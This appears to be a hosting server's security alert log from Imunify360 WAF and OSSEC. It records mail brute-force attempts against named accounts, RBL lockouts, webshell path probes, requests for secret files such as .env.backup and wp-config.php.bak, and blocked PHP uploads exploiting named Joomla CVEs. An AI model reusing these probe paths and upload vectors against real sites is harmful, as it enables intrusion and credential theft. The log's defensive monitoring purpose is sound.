IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://hvacservice2.info\">webpage</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 217.60.120.183
country_id: 2661886
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 travel tips (<a href=\"https://search.olbg.info/jump/?u=%2F%2Fwww.abgodnessmoto.co.uk%2Findex.php%3Fpage%3Duser%26action%3Dpub_profile%26id%3D444097%26item_type%3Dactive%26per_page%3D16&s=9ahqR2DiVOBRca7U2HImPlAiy2ZhMNDrG8MU3km0&k=d1fae3af9ffe9fd13dbc12f02cbf8cd6&q=deribit+vs+binance%7CBityard.com+258U+Bonus&p=8\">https://search.olbg.info/</a>) (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.18.158.119
country_id: 1210997
description:
Jul 21 18:07:45 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.18.158.119 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 212.135.208.16
country_id: 1861060
description:
Jul 21 18:08:02 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 212.135.208.16 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.135.208.16
country_id: 1861060
description:
2026-07-21 18:08:04 dovecot_login authenticator failed for H=([119.196.213.196]) [212.135.208.16]:57933: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.153.60
country_id: 1733045
description:
2026-07-21 18:08:39 dovecot_login authenticator failed for H=([109.206.115.23]) [49.124.153.60]:53230: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.213.181.6
country_id: 1269750
description:
Jul 21 18:08:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.213.181.6 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.213.181.6
country_id: 1269750
description:
2026-07-21 18:08:49 dovecot_login authenticator failed for H=([195.239.47.189]) [117.213.181.6]:50684: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 182.9.35.192
country_id: 1643084
domain: idealloanz.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/idealloanzcom/public_html/wp-admin||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 51.77.195.243
country_id: 3017382
description:
Jul 21 18:15:11 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 51.77.195.243 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 203.147.140.184
country_id: 1831722
domain: globalgroupoman.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/administrator/components/com_jdownloads/assets/upload/upload-handler.php||SC:/home/globalgroupoman/public_html/administrator/components/com_jdownloads||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.16.52.109
country_id: 3175395
description:
Jul 21 18:19:57 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.16.52.109 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.16.52.109
country_id: 3175395
description:
2026-07-21 18:19:59 dovecot_login authenticator failed for H=host-79-16-52-109.retail.telecomitalia.it ([125.130.102.172]) [79.16.52.109]:52499: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.73.230.102
country_id: 6252001
description:
Jul 21 18:20:16 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.73.230.102 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.73.230.102
country_id: 6252001
description:
2026-07-21 18:20:18 dovecot_login authenticator failed for H=([112.27.129.78]) [65.73.230.102]:57002: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 113.11.231.104
country_id: 1269750
description:
Jul 21 18:25:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 113.11.231.104 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.61.27.221
country_id: 1269750
domain: arcrealtors.com.au
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:78563.arcrealtors.com.au||ServerName:arcrealtors.com.au||Method:metaWeblog.newPost||BlogID:1||TitleSHA:26947b39c55f54765f1f1c0e05d615903b93f172||Title:4bsvx8kuep4or4||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.178.172.34
country_id: 6252001
description:
Jul 21 18:26:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.178.172.34 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 154.127.167.230
country_id: 3351879
domain: metrodigitals.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:19008.metrodigitals.com||ServerName:metrodigitals.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4a2385a2140f15b8818d31d7b5adeb3a4760ad8f||Title:0xb1e3a3f9||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 203.147.140.184
country_id: 1831722
domain: ogocindia.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/administrator/components/com_jdownloads/assets/upload/upload-handler.php||SC:/home/ogocindia/public_html/administrator/components/com_jdownloads||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 23.161.169.114
country_id: 2635167
domain: kallanigroup.com
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/web.config||User:kallanigroup||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 23.161.169.114
country_id: 2635167
domain: kallanigroup.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:23.161.169.114||TA:23.161.169.114||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 68.202.71.100
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/bb3300900 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 23.161.169.114
country_id: 2635167
domain: kallanigroup.com
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:kallanigroup||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 203.147.140.184
country_id: 1831722
domain: sriganapathyent.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/administrator/components/com_jdownloads/assets/upload/upload-handler.php||SC:/home/vrishenterprises/sriganapathyent.in/administrator/components/com_jdownloads||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.192.3.227
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://hvacrepair3.info\">web page</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.18.158.119
country_id: 1210997
description:
Jul 21 18:35:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.18.158.119 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 15.253.22.224
country_id: 6252001
domain: www.ahsmarine.com
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/db.sql||User:ahsmarine||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 98.238.165.150
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/72702636 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 51.77.195.243
country_id: 3017382
description:
Jul 21 18:40:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 51.77.195.243 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 50.45.22.58
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/bc3046712 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 103.130.18.141
country_id: 1643084
domain: yukticlick.com
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/some/config/file.ini||User:yukticlick||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.8.67.194
country_id: 1643084
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/c62184452 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 203.147.140.184
country_id: 1831722
domain: travelinbh.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/administrator/components/com_jdownloads/assets/upload/upload-handler.php||SC:/home/travelinbh/public_html/administrator/components/com_jdownloads||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.77.214.59
country_id: 1835841
description:
Jul 21 18:52:59 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.77.214.59 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.77.214.59
country_id: 1835841
description:
2026-07-21 18:53:01 dovecot_login authenticator failed for H=([103.4.167.15]) [220.77.214.59]:40929: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.153.166.170
country_id: 1835841
description:
Jul 21 18:53:45 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.153.166.170 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.153.166.170
country_id: 1835841
description:
2026-07-21 18:53:47 dovecot_login authenticator failed for H=([31.173.4.22]) [124.153.166.170]:42682: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 113.11.231.104
country_id: 1269750
description:
Jul 21 18:54:00 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 113.11.231.104 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 97.74.83.93
country_id: 1880251
domain: ddgalaxy.in
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||User:ddgalaxy||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.18.158.119
country_id: 1210997
description:
Jul 21 19:03:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.18.158.119 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.126.215.120
country_id: 1835841
description:
2026-07-21 19:05:32 dovecot_login authenticator failed for H=([91.215.108.149]) [220.126.215.120]:47112: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 51.77.195.243
country_id: 3017382
description:
Jul 21 19:05:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 51.77.195.243 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.150.226.139
country_id: 1835841
description:
Jul 21 19:05:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.150.226.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.150.226.139
country_id: 1835841
description:
2026-07-21 19:05:20 dovecot_login authenticator failed for H=([82.162.56.186]) [218.150.226.139]:49506: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.126.215.120
country_id: 1835841
description:
Jul 21 19:05:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.126.215.120 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 103.65.237.92
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://michaelhalak.com/\">Live Draw Sydney</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 203.147.140.184
country_id: 1831722
domain: fefkadirectorsunion.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/administrator/components/com_jdownloads/assets/upload/upload-handler.php||SC:/home/fefkadirectors/public_html/administrator/components/com_jdownloads||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 68.106.95.86
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/062661954 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 98.33.140.16
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/173091768 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.184.11.161
country_id: 1835841
description:
2026-07-21 19:15:45 dovecot_login authenticator failed for H=([49.124.151.17]) [112.184.11.161]:42836: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.184.11.161
country_id: 1835841
description:
Jul 21 19:15:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.184.11.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.195.9.20
country_id: 2661886
description:
Jul 21 19:16:10 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.195.9.20 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.195.9.20
country_id: 2661886
description:
2026-07-21 19:16:12 dovecot_login authenticator failed for H=user20.85-195-9.netatonce.net ([192.252.210.237]) [85.195.9.20]:38024: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.62.129.18
country_id: 2077456
description:
Jul 21 19:18:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.62.129.18 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.62.129.18
country_id: 2077456
description:
2026-07-21 19:18:50 dovecot_login authenticator failed for H=202-62-129-18.ip.vocus.network ([70.166.167.42]) [202.62.129.18]:53658: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 75.84.211.158
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/213131465 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.154.80.51
country_id: 2245662
description:
Jul 21 19:19:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.154.80.51 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.154.80.51
country_id: 2245662
description:
2026-07-21 19:19:16 dovecot_login authenticator failed for H=([49.124.153.23]) [213.154.80.51]:42800: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.178.172.34
country_id: 6252001
description:
Jul 21 19:21:56 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.178.172.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 113.11.231.104
country_id: 1269750
description:
Jul 21 19:22:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 113.11.231.104 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 206.195.151.165
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/2f1242589 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 73.250.26.64
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/4a3744544 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 160.20.135.234
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/5d2020829 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.187.213.29
country_id: 6252001
description:
Jul 21 19:35:55 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.187.213.29 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.187.213.29
country_id: 6252001
description:
2026-07-21 19:35:57 dovecot_login authenticator failed for H=([178.178.222.61]) [24.187.213.29]:39402: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 195.63.14.190
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://dreamproxies.com\">Free Private Proxy</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 174.161.210.13
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/971816860 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77562131
abuser: 203.10.99.50
country_id: 1861060
domain: www.globalgroupoman.com
description:
IM360 WAF: Unauthenticated file upload / RCE in Joomla iCagenda registration.submit (CVE-2026-48939)||MVN:FILES:jform[file]||MV:ic_c38e19a9fe.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 35.151.22.173
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/ad3037078 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77562131
abuser: 203.10.99.50
country_id: 1861060
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated file upload / RCE in Joomla iCagenda registration.submit (CVE-2026-48939)||MVN:FILES:jform[attachment]||MV:ic_9fc199ae56.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.145.107.251
country_id: 6252001
description:
Jul 21 20:03:52 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.145.107.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.145.107.251
country_id: 6252001
description:
2026-07-21 20:03:54 dovecot_plain authenticator failed for H=c-73-145-107-251.hsd1.mi.comcast.net (pernarai) [73.145.107.251]:48902: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.141
country_id: 2921044
description:
2026-07-21 20:07:32 dovecot_login authenticator failed for H=([72.205.0.69]) [94.16.17.141]:33354: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 74.119.147.209
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://www.huanshi100.com/\">\xe6\x96\xb0\xe8\xa7\x86\xe7\x82\xb9\xe5\xae\x98\xe7\xbd\x91</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.81.229.181
country_id: 6252001
description:
2026-07-21 20:12:57 dovecot_login authenticator failed for H=([197.219.228.242]) [192.81.229.181]:58342: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.42.47.150
country_id: 1835841
description:
Jul 21 20:12:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.42.47.150 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.42.47.150
country_id: 1835841
description:
2026-07-21 20:12:21 dovecot_login authenticator failed for H=([125.18.248.217]) [14.42.47.150]:42756: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.81.229.181
country_id: 6252001
description:
Jul 21 20:12:55 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.81.229.181 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.50.216.203
country_id: 3439705
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/072872798 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 38.47.191.134
country_id: 1880251
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/administrator/components/com_jdownloads/assets/upload/upload-handler.php||SC:/home/alnay/public_html/administrator/components/com_jdownloads||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.60.102.62
country_id: 2635167
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/0a589058 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.237.191
country_id: 99237
description:
Jul 21 20:24:58 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.237.191 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.237.191
country_id: 99237
description:
2026-07-21 20:25:00 dovecot_login authenticator failed for H=([60.171.135.254]) [65.20.237.191]:59079: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.155.180
country_id: 1733045
description:
2026-07-21 20:25:14 dovecot_login authenticator failed for H=([178.178.222.50]) [49.124.155.180]:50426: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 81.38.60.183
country_id: 2510769
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/3e1890743 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.219.210.94
country_id: 1036973
description:
Jul 21 20:27:46 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.219.210.94 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.210.94
country_id: 1036973
description:
2026-07-21 20:27:48 dovecot_login authenticator failed for H=([61.220.247.78]) [197.219.210.94]:38330: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 219.248.65.30
country_id: 1835841
description:
Jul 21 20:27:59 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 219.248.65.30 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.248.65.30
country_id: 1835841
description:
2026-07-21 20:28:01 dovecot_login authenticator failed for H=([80.234.120.70]) [219.248.65.30]:41794: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.183.235.134
country_id: 6252001
description:
Jul 21 20:28:28 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.183.235.134 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.183.235.134
country_id: 6252001
description:
2026-07-21 20:28:30 dovecot_login authenticator failed for H=([59.92.51.186]) [65.183.235.134]:54474: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.153.195.163
country_id: 1835841
description:
Jul 21 20:33:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.153.195.163 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.153.195.163
country_id: 1835841
description:
2026-07-21 20:33:09 dovecot_login authenticator failed for H=([107.181.168.150]) [124.153.195.163]:40020: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77469916
abuser: 91.243.116.144
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:yoru_899d3b3f.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.185.101.50
country_id: 1269750
description:
Jul 21 20:33:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.185.101.50 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.101.50
country_id: 1269750
description:
2026-07-21 20:33:20 dovecot_login authenticator failed for H=(151-132-212-178.vdnet.ru) [122.185.101.50]:48140: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 87.199.210.65
country_id: 2750405
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:20-38.87.199.210.65||RSV:8.32||T:APACHE||


